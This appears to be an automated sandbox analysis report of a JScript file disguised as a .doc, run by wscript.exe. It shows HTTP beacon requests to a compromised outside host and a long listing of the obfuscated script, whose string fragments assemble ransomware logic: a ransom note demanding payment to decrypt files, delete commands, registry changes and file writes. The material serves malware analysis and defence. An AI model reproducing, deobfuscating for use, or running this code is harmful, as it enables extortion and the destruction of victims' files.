Nov 20, 2024 08:01:45.504812956 CET	504	OUT	GET /counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&id=LWkA9pJQhl9uXU1kaDN-eSC-55GNxzVDsLXZhtXL8Pr1j1FTCf4XAYGxA0VCjCQra2XwotFrDHGSYxM&rnd=33 HTTP/1.1 Accept: / Accept-Language: en-ch UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: telektrim.pl Connection: Keep-Alive Cookie: PHPSESSID=4c12adf4a82439c05f107533fdbc2453
Nov 20, 2024 08:01:46.234114885 CET	1236	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 20 Nov 2024 07:01:46 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 13620 Connection: keep-alive Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Link: <http://telektrim.pl/wp-json/>; rel="https://api.w.org/" Vary: Accept-Encoding Content-Encoding: gzip Data Raw: 1f 8b 08 00 00 00 00 00 00 03 ed 7d db 92 e3 36 b2 e0 b3 3b 62 fe 01 a3 1e 4f 97 6c 92 ba ab aa 24 57 9f f1 b4 ed 33 3e f6 d8 1e bb 7d ec 19 b7 43 01 91 90 c4 2a 8a a4 49 aa 54 97 d5 c6 ee bc 9c d7 8d d8 a7 13 fb 19 27 62 9f e6 6d c7 3f b2 1f b0 df b0 99 00 48 82 24 a8 4b 5d ba 3c 11 c7 ed aa 22 81 44 66 22 01 24 32 71 49 7e f0 eb 8f be 7c f5 fa cf 5f 7d 4c 16 c9 d2 7b f9 ec 03 fc 43 3c ea cf cf 1a a1 67 7e f5 79 03 d3 18 75 5e 3e 7b e7 83 25 4b 28 b1 17 34 8a 59 72 d6 f8 f6 f5 27 e6 49 83 b4 00 80 67 2c 92 24 34 d9 4f 2b f7 f2 ac f1 bd f9 ed 87 e6 ab 60 19 d2 c4 9d 7a ac 41 ec c0 4f 98 0f a5 3e fd f8 8c 39 73 d6 40 7c 9e eb 5f 90 88 79 40 ca f5 e7 53 6a 5f 34 c8 22 62 b3 b3 06 e2 1a b5 5a 09 f3 d8 45 12 b9 4b 2b f4 5a 57 4b 2f 0a 6d 2b 5c 84 9c 28 94 8f ed c8 0d 13 92 5c 87 ec ac 91 b0 ab a4 75 4e 2f a9 48 45 02 ef 38 81 bd 5a 02 59 2b 7d f8 d8 63 fc dd f6 68 1c 7f 41 97 8c 9c 91 17 e7 f1 8b 31 60 6b 89 82 50 0e 5e 12 37 f1 d8 cb 2f 5c 46 6e 7c ea b1 1b 37 f0 03 d2 6f f7 c9 7f 21 af 53 a6 3e 68 09 [TRUNCATED] Data Ascii: }6;bOl$W3>}CIT'bm?H$K]<"Df"$2qI~\|_}L{C<g~yu^>{%K(4Yr'Ig,$4O+`zAO>9s@\|_y@Sj_4"bZEK+ZWK/m+\(\uN/HE8ZY+}chA1`kP^7/\Fn\|7o!S>hgjE"UU.3@lDb[vDA;w}Li/2X+]93#FsXBZ+e\|lw5o#"iY`Di;fv}'X[cd^Itoxu_w" xovRj<w%4]JI^@P2wD%,iG8~d>kdc6?1.mi_ht(K\Z}sbB4gMR"N=/K^;ib\|MIz+Pmq~:29oLZIt5:/^pM-^\O0=wzn]V9_''Qx7dj0`gVV7
Nov 20, 2024 08:01:46.849878073 CET	504	OUT	GET /counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&id=LWkA9pJQhl9uXU1kaDN-eSC-55GNxzVDsLXZhtXL8Pr1j1FTCf4XAYGxA0VCjCQra2XwotFrDHGSYxM&rnd=34 HTTP/1.1 Accept: / Accept-Language: en-ch UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: telektrim.pl Connection: Keep-Alive Cookie: PHPSESSID=4c12adf4a82439c05f107533fdbc2453
Nov 20, 2024 08:01:47.604020119 CET	1236	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 20 Nov 2024 07:01:47 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 13620 Connection: keep-alive Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Link: <http://telektrim.pl/wp-json/>; rel="https://api.w.org/" Vary: Accept-Encoding Content-Encoding: gzip Data Raw: 1f 8b 08 00 00 00 00 00 00 03 ed 7d db 92 e3 36 b2 e0 b3 3b 62 fe 01 a3 1e 4f 97 6c 92 ba ab aa 24 57 9f f1 b4 ed 33 3e f6 d8 1e bb 7d ec 19 b7 43 01 91 90 c4 2a 8a a4 49 aa 54 97 d5 c6 ee bc 9c d7 8d d8 a7 13 fb 19 27 62 9f e6 6d c7 3f b2 1f b0 df b0 99 00 48 82 24 a8 4b 5d ba 3c 11 c7 ed aa 22 81 44 66 22 01 24 32 71 49 7e f0 eb 8f be 7c f5 fa cf 5f 7d 4c 16 c9 d2 7b f9 ec 03 fc 43 3c ea cf cf 1a a1 67 7e f5 79 03 d3 18 75 5e 3e 7b e7 83 25 4b 28 b1 17 34 8a 59 72 d6 f8 f6 f5 27 e6 49 83 b4 00 80 67 2c 92 24 34 d9 4f 2b f7 f2 ac f1 bd f9 ed 87 e6 ab 60 19 d2 c4 9d 7a ac 41 ec c0 4f 98 0f a5 3e fd f8 8c 39 73 d6 40 7c 9e eb 5f 90 88 79 40 ca f5 e7 53 6a 5f 34 c8 22 62 b3 b3 06 e2 1a b5 5a 09 f3 d8 45 12 b9 4b 2b f4 5a 57 4b 2f 0a 6d 2b 5c 84 9c 28 94 8f ed c8 0d 13 92 5c 87 ec ac 91 b0 ab a4 75 4e 2f a9 48 45 02 ef 38 81 bd 5a 02 59 2b 7d f8 d8 63 fc dd f6 68 1c 7f 41 97 8c 9c 91 17 e7 f1 8b 31 60 6b 89 82 50 0e 5e 12 37 f1 d8 cb 2f 5c 46 6e 7c ea b1 1b 37 f0 03 d2 6f f7 c9 7f 21 af 53 a6 3e 68 09 [TRUNCATED] Data Ascii: }6;bOl$W3>}CIT'bm?H$K]<"Df"$2qI~\|_}L{C<g~yu^>{%K(4Yr'Ig,$4O+`zAO>9s@\|_y@Sj_4"bZEK+ZWK/m+\(\uN/HE8ZY+}chA1`kP^7/\Fn\|7o!S>hgjE"UU.3@lDb[vDA;w}Li/2X+]93#FsXBZ+e\|lw5o#"iY`Di;fv}'X[cd^Itoxu_w" xovRj<w%4]JI^@P2wD%,iG8~d>kdc6?1.mi_ht(K\Z}sbB4gMR"N=/K^;ib\|MIz+Pmq~:29oLZIt5:/^pM-^\O0=wzn]V9_''Qx7dj0`gVV7
Nov 20, 2024 08:01:48.271467924 CET	504	OUT	GET /counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&id=LWkA9pJQhl9uXU1kaDN-eSC-55GNxzVDsLXZhtXL8Pr1j1FTCf4XAYGxA0VCjCQra2XwotFrDHGSYxM&rnd=35 HTTP/1.1 Accept: / Accept-Language: en-ch UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: telektrim.pl Connection: Keep-Alive Cookie: PHPSESSID=4c12adf4a82439c05f107533fdbc2453
Nov 20, 2024 08:01:49.179945946 CET	1236	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 20 Nov 2024 07:01:48 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 13620 Connection: keep-alive Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Link: <http://telektrim.pl/wp-json/>; rel="https://api.w.org/" Vary: Accept-Encoding Content-Encoding: gzip Data Raw: 1f 8b 08 00 00 00 00 00 00 03 ed 7d db 92 e3 36 b2 e0 b3 3b 62 fe 01 a3 1e 4f 97 6c 92 ba ab aa 24 57 9f f1 b4 ed 33 3e f6 d8 1e bb 7d ec 19 b7 43 01 91 90 c4 2a 8a a4 49 aa 54 97 d5 c6 ee bc 9c d7 8d d8 a7 13 fb 19 27 62 9f e6 6d c7 3f b2 1f b0 df b0 99 00 48 82 24 a8 4b 5d ba 3c 11 c7 ed aa 22 81 44 66 22 01 24 32 71 49 7e f0 eb 8f be 7c f5 fa cf 5f 7d 4c 16 c9 d2 7b f9 ec 03 fc 43 3c ea cf cf 1a a1 67 7e f5 79 03 d3 18 75 5e 3e 7b e7 83 25 4b 28 b1 17 34 8a 59 72 d6 f8 f6 f5 27 e6 49 83 b4 00 80 67 2c 92 24 34 d9 4f 2b f7 f2 ac f1 bd f9 ed 87 e6 ab 60 19 d2 c4 9d 7a ac 41 ec c0 4f 98 0f a5 3e fd f8 8c 39 73 d6 40 7c 9e eb 5f 90 88 79 40 ca f5 e7 53 6a 5f 34 c8 22 62 b3 b3 06 e2 1a b5 5a 09 f3 d8 45 12 b9 4b 2b f4 5a 57 4b 2f 0a 6d 2b 5c 84 9c 28 94 8f ed c8 0d 13 92 5c 87 ec ac 91 b0 ab a4 75 4e 2f a9 48 45 02 ef 38 81 bd 5a 02 59 2b 7d f8 d8 63 fc dd f6 68 1c 7f 41 97 8c 9c 91 17 e7 f1 8b 31 60 6b 89 82 50 0e 5e 12 37 f1 d8 cb 2f 5c 46 6e 7c ea b1 1b 37 f0 03 d2 6f f7 c9 7f 21 af 53 a6 3e 68 09 [TRUNCATED] Data Ascii: }6;bOl$W3>}CIT'bm?H$K]<"Df"$2qI~\|_}L{C<g~yu^>{%K(4Yr'Ig,$4O+`zAO>9s@\|_y@Sj_4"bZEK+ZWK/m+\(\uN/HE8ZY+}chA1`kP^7/\Fn\|7o!S>hgjE"UU.3@lDb[vDA;w}Li/2X+]93#FsXBZ+e\|lw5o#"iY`Di;fv}'X[cd^Itoxu_w" xovRj<w%4]JI^@P2wD%,iG8~d>kdc6?1.mi_ht(K\Z}sbB4gMR"N=/K^;ib\|MIz+Pmq~:29oLZIt5:/^pM-^\O0=wzn]V9_''Qx7dj0`gVV7

Target ID:	0
Start time:	02:01:38
Start date:	20/11/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Label_00000852555.doc.js"
Imagebase:	0x7ff68fdf0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	var l99 = new Array ( );
1	l33 = 71;
2	l33 += 526;
3	l99[l33] = 'te';
4	l33 -= 526;
5	l33 = - 1459;
6	l33 += 1481;
7	l99[l33] = 'fromC';
8	l33 -= 1481;
9	l33 = - 3774;
10	l33 += 3919;
11	l99[l33] = '=1;n';
12	l33 -= 3919;
13	l33 = - 8437;
14	l33 += 8871;
15	l99[l33] = ' se';
16	l33 -= 8871;
17	l33 = - 280;
18	l33 += 630;
19	l99[l33] = ' key."';
20	l33 -= 630;
21	l33 = - 3885;
22	l33 += 4444;
23	l99[l33] = 'fp.Wr';
24	l33 -= 4444;
25	l33 = - 9179;
26	l33 += 9633;
27	l99[l33] = 'buy_bi';
28	l33 -= 9633;
29	l33 = - 7398;
30	l33 += 8202;
31	l99[l33] = 'p"+c';
32	l33 -= 8202;
33	l33 = - 1404;
34	l33 += 2080;
35	l99[l33] = 'ws.';
36	l33 -= 2080;
37	l33 = - 5136;
38	l33 += 6060;
39	l99[l33] = 'c DEL ';
40	l33 -= 6060;
41	l33 = - 541;
42	l33 += 912;
43	l99[l33] = 'Wri';
44	l33 -= 912;
45	l33 = - 2709;
46	l33 += 2802;
47	l99[l33] = 't.';
48	l33 -= 2802;
49	l33 = - 9849;
50	l33 += 9980;
51	l99[l33] = 'ject';
52	l33 -= 9980;
53	l33 = - 6929;
54	l33 += 7599;
55	l99[l33] = 'DECRY';
56	l33 -= 7599;
57	l33 = - 140;
58	l33 += 276;
59	l99[l33] = 'eExis';
60	l33 -= 276;
61	l33 = - 4688;
62	l33 += 5214;
63	l99[l33] = '{ fp.W';
64	l33 -= 5214;
65	l33 = - 7670;
66	l33 += 8190;
67	l99[l33] = 'var ';
68	l33 -= 8190;
69	l33 = - 6888;
70	l33 += 7597;
71	l99[l33] = '+" /t ';
72	l33 -= 7597;
73	l33 = - 5748;
74	l33 += 6581;
75	l99[l33] = '"+cs+"';
76	l33 -= 6581;
77	l33 = - 3463;
78	l33 += 3659;
79	l99[l33] = '; if';
80	l33 -= 3659;
81	l33 = - 4033;
82	l33 += 4551;
83	l99[l33] = 'fo';
84	l33 -= 4551;
85	l33 = - 6924;
86	l33 += 7791;
87	l99[l33] = 'xt"+cq';
88	l33 -= 7791;
89	l33 = - 4936;
90	l33 += 4949;
91	l99[l33] = 'Str';
92	l33 -= 4949;
93	l33 = - 4765;
94	l33 += 5072;
95	l99[l33] = '; fp.W';
96	l33 -= 5072;
97	l33 = - 3036;
98	l33 += 3845;
99	l99[l33] = 'xt"';
100	l33 -= 3845;
101	l33 = 323;
102	l33 += 110;
103	l99[l33] = 'sing';
104	l33 -= 110;
105	l33 = - 360;
106	l33 += 541;
107	l99[l33] = 'o.sta';
108	l33 -= 541;
109	l33 = - 4921;
110	l33 += 5655;
111	l99[l33] = 'd"+c';
112	l33 -= 5655;
113	l33 = - 4226;
114	l33 += 5125;
115	l99[l33] = 'DEL "+';
116	l33 -= 5125;
117	l33 = - 7782;
118	l33 += 8596;
119	l99[l33] = 'COMSP';
120	l33 -= 8596;
121	l33 = - 3080;
122	l33 += 3858;
123	l99[l33] = '"+';
124	l33 -= 3858;
125	l33 = - 1235;
126	l33 += 1820;
127	l99[l33] = 't pay';
128	l33 -= 1820;
129	l33 = - 6900;
130	l33 += 7319;
131	l99[l33] = 'ine';
132	l33 -= 7319;
133	l33 = - 8551;
134	l33 += 9468;
135	l99[l33] = 'q,0,0)';
136	l33 -= 9468;
137	l33 = - 4868;
138	l33 += 5601;
139	l99[l33] = 'ypte';
140	l33 -= 5601;
141	l33 = - 5557;
142	l33 += 5951;
143	l99[l33] = 'all';
144	l33 -= 5951;
145	l33 = - 8524;
146	l33 += 9140;
147	l99[l33] = ' -';
148	l33 -= 9140;
149	l33 = - 2628;
150	l33 += 2891;
151	l99[l33] = 'r){';
152	l33 -= 2891;
153	l33 = - 6038;
154	l33 += 6261;
155	l99[l33] = '} e';
156	l33 -= 6261;
157	l33 = - 1696;
158	l33 += 2547;
159	l99[l33] = '+cq,0,';
160	l33 -= 2547;
161	l33 = - 874;
162	l33 += 1661;
163	l99[l33] = '.Run("';
164	l33 -= 1661;
165	l33 = - 1416;
166	l33 += 1772;
167	l99[l33] = 'restor';
168	l33 -= 1772;
169	l33 = 474;
170	l33 += 24;
171	l99[l33] = 'ne ';
172	l33 -= 24;
173	l33 = - 8202;
174	l33 += 8863;
175	l99[l33] = ' can ';
176	l33 -= 8863;
177	l33 = - 2193;
178	l33 += 2948;
179	l99[l33] = '"+cs';
180	l33 -= 2948;
181	l33 = - 2115;
182	l33 += 2291;
183	l99[l33] = 'n, fa';
184	l33 -= 2291;
185	l33 = - 2220;
186	l33 += 3041;
187	l99[l33] = 'txt"+';
188	l33 -= 3041;
189	l33 = - 5468;
190	l33 += 5822;
191	l99[l33] = 'ne("T';
192	l33 -= 5822;
193	l33 = - 8614;
194	l33 += 9463;
195	l99[l33] = '".p';
196	l33 -= 9463;
197	l33 = - 5868;
198	l33 += 6314;
199	l99[l33] = ' h';
200	l33 -= 6314;
201	l33 = - 9672;
202	l33 += 9908;
203	l99[l33] = 'e if(';
204	l33 -= 9908;
205	l33 = - 7131;
206	l33 += 7405;
207	l99[l33] = 'eExi';
208	l33 -= 7405;
209	l33 = - 1204;
210	l33 += 1231;
211	l99[l33] = 'ar';
212	l33 -= 1231;
213	l33 = 190;
214	l33 += 19;
215	l99[l33] = '".exe';
216	l33 -= 19;
217	l33 = - 3612;
218	l33 += 3889;
219	l99[l33] = 'd) &';
220	l33 -= 3889;
221	l33 = - 4415;
222	l33 += 4539;
223	l99[l33] = '("';
224	l33 -= 4539;
225	l33 = - 6977;
226	l33 += 7610;
227	l99[l33] = '"); f';
228	l33 -= 7610;
229	l33 = - 2275;
230	l33 += 2614;
231	l99[l33] = 'g RS';
232	l33 -= 2614;
233	l33 = - 5508;
234	l33 += 6365;
235	l99[l33] = 'COMSP';
236	l33 -= 6365;
237	l33 = - 1881;
238	l33 += 2781;
239	l99[l33] = 'cq+f';
240	l33 -= 2781;
241	l33 = - 5763;
242	l33 += 6422;
243	l99[l33] = ' ';
244	l33 -= 6422;
245	l33 = - 5173;
246	l33 += 5608;
247	l99[l33] = 'arch h';
248	l33 -= 5608;
249	l33 = 406;
250	l33 += 109;
251	l99[l33] = 'Writ';
252	l33 -= 109;
253	l33 = - 2317;
254	l33 += 3030;
255	l99[l33] = 'F /D ';
256	l33 -= 3030;
257	l33 = - 7923;
258	l33 += 7993;
259	l99[l33] = '%T';
260	l33 -= 7993;
261	l33 = - 8440;
262	l33 += 8848;
263	l99[l33] = '//';
264	l33 -= 8848;
265	l33 = - 1992;
266	l33 += 2857;
267	l99[l33] = 'n+"';
268	l33 -= 2857;
269	l33 = - 1849;
270	l33 += 1953;
271	l99[l33] = 'ar x';
272	l33 -= 1953;
273	l33 = - 5261;
274	l33 += 5693;
275	l99[l33] = ', u';
276	l33 -= 5693;
277	l33 = - 4027;
278	l33 += 4630;
279	l99[l33] = ' can';
280	l33 -= 4630;
281	l33 = - 2445;
282	l33 += 2560;
283	l99[l33] = ');';
284	l33 -= 2560;
285	l33 = - 9028;
286	l33 += 9731;
287	l99[l33] = 'cq+';
288	l33 -= 9731;
289	l33 = - 3635;
290	l33 += 3869;
291	l99[l33] = ';}';
292	l33 -= 3869;
293	l33 = - 3290;
294	l33 += 3777;
295	l99[l33] = '); f';
296	l33 -= 3777;
297	l33 = - 3182;
298	l33 += 3627;
299	l99[l33] = '(" ';
300	l33 -= 3627;
301	l33 = - 8797;
302	l33 += 9507;
303	l99[l33] = 'REG';
304	l33 -= 9507;
305	l33 = - 8866;
306	l33 += 9693;
307	l99[l33] = 'rof';
308	l33 -= 9693;
309	l33 = - 2548;
310	l33 += 3280;
311	l99[l33] = '".cr';
312	l33 -= 3280;
313	l33 = - 2653;
314	l33 += 3399;
315	l99[l33] = 'Run("';
316	l33 -= 3399;
317	l33 = - 1389;
318	l33 += 2136;
319	l99[l33] = '%COMS';
320	l33 -= 2136;
321	l33 = - 7321;
322	l33 += 7747;
323	l99[l33] = ' Buy';
324	l33 -= 7747;
325	l33 = - 6711;
326	l33 += 6822;
327	l99[l33] = 't("ADO';
328	l33 -= 6822;
329	l33 = - 3936;
330	l33 += 4003;
331	l99[l33] = 'me';
332	l33 -= 4003;
333	l33 = - 6407;
334	l33 += 6708;
335	l99[l33] = 'IO';
336	l33 -= 6708;
337	l33 = - 416;
338	l33 += 831;
339	l99[l33] = 'ew"';
340	l33 -= 831;
341	l33 = - 9051;
342	l33 += 9593;
343	l99[l33] = '.Writ';
344	l33 -= 9593;
345	l33 = - 7059;
346	l33 += 7972;
347	l99[l33] = 'EL "+';
348	l33 -= 7972;
349	l33 = - 1748;
350	l33 += 2640;
351	l99[l33] = 'un("';
352	l33 -= 2640;
353	l33 = - 5686;
354	l33 += 5686;
355	l99[l33] = 'var i';
356	l33 -= 5686;
357	l33 = - 6451;
358	l33 += 6743;
359	l99[l33] = 'le(fn';
360	l33 -= 6743;
361	l33 = - 6067;
362	l33 += 6522;
363	l99[l33] = 'tc';
364	l33 -= 6522;
365	l33 = - 3745;
366	l33 += 3774;
367	l99[l33] = '["sh';
368	l33 -= 3774;
369	l33 = - 4157;
370	l33 += 5075;
371	l99[l33] = '; w';
372	l33 -= 5075;
373	l33 = - 6413;
374	l33 += 6454;
375	l99[l33] = 'th.co';
376	l33 -= 6454;
377	l33 = - 5643;
378	l33 += 6079;
379	l99[l33] = 'ere:';
380	l33 -= 6079;
381	l33 = - 6584;
382	l33 += 7232;
383	l99[l33] = 'nly';
384	l33 -= 7232;
385	l33 = - 5553;
386	l33 += 5898;
387	l99[l33] = 'it';
388	l33 -= 5898;
389	l33 = - 7418;
390	l33 += 7480;
391	l99[l33] = '=ws';
392	l33 -= 7480;
393	l33 = 816;
394	l33 += 99;
395	l99[l33] = '".e';
396	l33 -= 99;
397	l33 = - 1527;
398	l33 += 2149;
399	l99[l33] = 'll Wi';
400	l33 -= 2149;
401	l33 = - 2667;
402	l33 += 2967;
403	l99[l33] = 'TENT';
404	l33 -= 2967;
405	l33 = - 8279;
406	l33 += 8649;
407	l99[l33] = 'p.';
408	l33 -= 8649;
409	l33 = - 5735;
410	l33 += 6257;
411	l99[l33] = '<ll';
412	l33 -= 6257;
413	l33 = - 2515;
414	l33 += 3085;
415	l99[l33] = 'ER';
416	l33 -= 3085;
417	l33 = - 5061;
418	l33 += 5502;
419	l99[l33] = 'ne(""';
420	l33 -= 5502;
421	l33 = - 4883;
422	l33 += 4972;
423	l99[l33] = ' var ';
424	l33 -= 4972;
425	l33 = - 9210;
426	l33 += 9982;
427	l99[l33] = 'Z /F /';
428	l33 -= 9982;
429	l33 = 291;
430	l33 += 504;
431	l99[l33] = 'txt"';
432	l33 -= 504;
433	l33 = - 1549;
434	l33 += 1767;
435	l99[l33] = ',0)';
436	l33 -= 1767;
437	l33 = - 9075;
438	l33 += 9797;
439	l99[l33] = 'SPE';
440	l33 -= 9797;
441	l33 = - 1624;
442	l33 += 1863;
443	l99[l33] = '.saveT';
444	l33 -= 1863;
445	l33 = - 2615;
446	l33 += 3186;
447	l99[l33] = ':")';
448	l33 -= 3186;
449	l33 = - 1982;
450	l33 += 2569;
451	l99[l33] = '3 ';
452	l33 -= 2569;
453	l33 = - 5608;
454	l33 += 6024;
455	l99[l33] = '); fp';
456	l33 -= 6024;
457	l33 = - 8986;
458	l33 += 9295;
459	l99[l33] = 'in';
460	l33 -= 9295;
461	l33 = - 7461;
462	l33 += 7774;
463	l99[l33] = ' docu';
464	l33 -= 7774;
465	l33 = - 3875;
466	l33 += 4375;
467	l99[l33] = 'he ';
468	l33 -= 4375;
469	l33 = - 6577;
470	l33 += 7016;
471	l99[l33] = 'ri';
472	l33 -= 7016;
473	l33 = - 6060;
474	l33 += 6841;
475	l99[l33] = 'fn+".';
476	l33 -= 6841;
477	l33 = - 3666;
478	l33 += 4417;
479	l99[l33] = 'AD';
480	l33 -= 4417;
481	l33 = - 7581;
482	l33 += 8377;
483	l99[l33] = '+cq+';
484	l33 -= 8377;
485	l33 = 31;
486	l33 += 577;
487	l99[l33] = 's."';
488	l33 -= 577;
489	l33 = - 9427;
490	l33 += 9693;
491	l99[l33] = 'fo.Fil';
492	l33 -= 9693;
493	l33 = - 2719;
494	l33 += 3266;
495	l99[l33] = 'teL';
496	l33 -= 3266;
497	l33 = - 2138;
498	l33 += 2994;
499	l99[l33] = '"%';
500	l33 -= 2994;
501	l33 = - 3829;
502	l33 += 3908;
503	l99[l33] = 'en';
504	l33 -= 3908;
505	l33 = - 4477;
506	l33 += 5331;
507	l99[l33] = 's.R';
508	l33 -= 5331;
509	l33 = - 8448;
510	l33 += 8782;
511	l99[l33] = 're enc';
512	l33 -= 8782;
513	l33 = - 3177;
514	l33 += 3555;
515	l99[l33] = 'his m';
516	l33 -= 3555;
517	l33 = - 4163;
518	l33 += 4871;
519	l99[l33] = '+cq';
520	l33 -= 4871;
521	l33 = - 6265;
522	l33 += 6454;
523	l99[l33] = '=1; x';
524	l33 -= 6454;
525	l33 = - 4065;
526	l33 += 4632;
527	l99[l33] = '"PLEAS';
528	l33 -= 4632;
529	l33 = - 2909;
530	l33 += 3139;
531	l99[l33] = 'File(f';
532	l33 -= 3139;
533	l33 = - 4036;
534	l33 += 4412;
535	l99[l33] = 'e fo';
536	l33 -= 4412;
537	l33 = - 3566;
538	l33 += 3594;
539	l99[l33] = ' ll=';
540	l33 -= 3594;
541	l33 = - 3735;
542	l33 += 4237;
543	l99[l33] = 'llo';
544	l33 -= 4237;
545	l33 = - 6691;
546	l33 += 6988;
547	l99[l33] = 'iteLi';
548	l33 -= 6988;
549	l33 = - 276;
550	l33 += 596;
551	l99[l33] = ' a';
552	l33 -= 596;
553	l33 = - 3233;
554	l33 += 3393;
555	l99[l33] = 'GE';
556	l33 -= 3393;
557	l33 = - 3999;
558	l33 += 4847;
559	l99[l33] = 'q+fn+';
560	l33 -= 4847;
561	l33 = - 5947;
562	l33 += 6875;
563	l99[l33] = ',0';
564	l33 -= 6875;
565	l33 = - 9250;
566	l33 += 9949;
567	l99[l33] = 'entVer';
568	l33 -= 9949;
569	l33 = - 1654;
570	l33 += 1668;
571	l99[l33] = 'ing';
572	l33 -= 1668;
573	l33 = - 2310;
574	l33 += 2379;
575	l99[l33] = 'ings("';
576	l33 -= 2379;
577	l33 = - 6235;
578	l33 += 6815;
579	l99[l33] = ' ';
580	l33 -= 6815;
581	l33 = - 1914;
582	l33 += 2035;
583	l99[l33] = 're';
584	l33 -= 2035;
585	l33 = - 8642;
586	l33 += 9234;
587	l99[l33] = ' YOUR';
588	l33 -= 9234;
589	l33 = - 6198;
590	l33 += 6845;
591	l99[l33] = 'd o';
592	l33 -= 6845;
593	l33 = - 3385;
594	l33 += 3832;
595	l99[l33] = 'ttps:/';
596	l33 -= 3832;
597	l33 = - 1079;
598	l33 += 1827;
599	l99[l33] = 'PE';
600	l33 -= 1827;
601	l33 = - 2530;
602	l33 += 2838;
603	l99[l33] = 'riteL';
604	l33 -= 2838;
605	l33 = - 2729;
606	l33 += 3131;
607	l99[l33] = '.Wr';
608	l33 -= 3131;
609	l33 = - 7902;
610	l33 += 8672;
611	l99[l33] = ' /t';
612	l33 -= 8672;
613	l33 = - 6586;
614	l33 += 7493;
615	l99[l33] = 's.';
616	l33 -= 7493;
617	l33 = - 7748;
618	l33 += 8317;
619	l99[l33] = 'EMEMB';
620	l33 -= 8317;
621	l33 = - 3400;
622	l33 += 4090;
623	l99[l33] = 'E"+c';
624	l33 -= 4090;
625	l33 = - 319;
626	l33 += 1033;
627	l99[l33] = '"+cq';
628	l33 -= 1033;
629	l33 = - 2502;
630	l33 += 2842;
631	l99[l33] = 'A-1';
632	l33 -= 2842;
633	l33 = - 5391;
634	l33 += 6249;
635	l99[l33] = 'EC% /';
636	l33 -= 6249;
637	l33 = - 3018;
638	l33 += 3668;
639	l99[l33] = ' you m';
640	l33 -= 3668;
641	l33 = - 7457;
642	l33 += 7974;
643	l99[l33] = '""); ';
644	l33 -= 7974;
645	l33 = - 5186;
646	l33 += 5815;
647	l99[l33] = 's so';
648	l33 -= 5815;
649	l33 = - 4949;
650	l33 += 5634;
651	l99[l33] = '+cq+"';
652	l33 -= 5634;
653	l33 = - 2357;
654	l33 += 2975;
655	l99[l33] = ' usele';
656	l33 -= 2975;
657	l33 = - 6701;
658	l33 += 7198;
659	l99[l33] = 'en o';
660	l33 -= 7198;
661	l33 = - 5608;
662	l33 += 6190;
663	l99[l33] = 'yo';
664	l33 -= 6190;
665	l33 = - 2982;
666	l33 += 3522;
667	l99[l33] = '}; ';
668	l33 -= 3522;
669	l33 = - 3713;
670	l33 += 4057;
671	l99[l33] = ' w';
672	l33 -= 4057;
673	l33 = - 39;
674	l33 += 388;
675	l99[l33] = 'ue';
676	l33 -= 388;
677	l33 = - 4761;
678	l33 += 5384;
679	l99[l33] = 'ndows';
680	l33 -= 5384;
681	l33 = - 2636;
682	l33 += 3357;
683	l99[l33] = '("%COM';
684	l33 -= 3357;
685	l33 = - 742;
686	l33 += 1426;
687	l99[l33] = 'D "';
688	l33 -= 1426;
689	l33 = - 878;
690	l33 += 1774;
691	l99[l33] = 'C%';
692	l33 -= 1774;
693	l33 = - 8552;
694	l33 += 9439;
695	l99[l33] = 'ne(ad)';
696	l33 -= 9439;
697	l33 = - 8049;
698	l33 += 8080;
699	l99[l33] = 'ghai';
700	l33 -= 8080;
701	l33 = - 5883;
702	l33 += 6556;
703	l99[l33] = ' fp.Cl';
704	l33 -= 6556;
705	l33 = - 5552;
706	l33 += 6059;
707	l99[l33] = 'ur br';
708	l33 -= 6059;
709	l33 = - 394;
710	l33 += 727;
711	l99[l33] = 'ne("we';
712	l33 -= 727;
713	l33 = 231;
714	l33 += 153;
715	l99[l33] = 'eLin';
716	l33 -= 153;
717	l33 = - 2280;
718	l33 += 2314;
719	l99[l33] = 'arl';
720	l33 -= 2314;
721	l33 = - 1731;
722	l33 += 1988;
723	l99[l33] = '){ld=i';
724	l33 -= 1988;
725	l33 = - 9431;
726	l33 += 9981;
727	l99[l33] = '. R';
728	l33 -= 9981;
729	l33 = - 8462;
730	l33 += 9134;
731	l99[l33] = 't).");';
732	l33 -= 9134;
733	l33 = - 2953;
734	l33 += 3839;
735	l99[l33] = 'eLi';
736	l33 -= 3839;
737	l33 = - 7668;
738	l33 += 8385;
739	l99[l33] = 'cq,0';
740	l33 -= 8385;
741	l33 = - 5413;
742	l33 += 6230;
743	l99[l33] = 'y /y "';
744	l33 -= 6230;
745	l33 = - 6518;
746	l33 += 6803;
747	l99[l33] = ') { ';
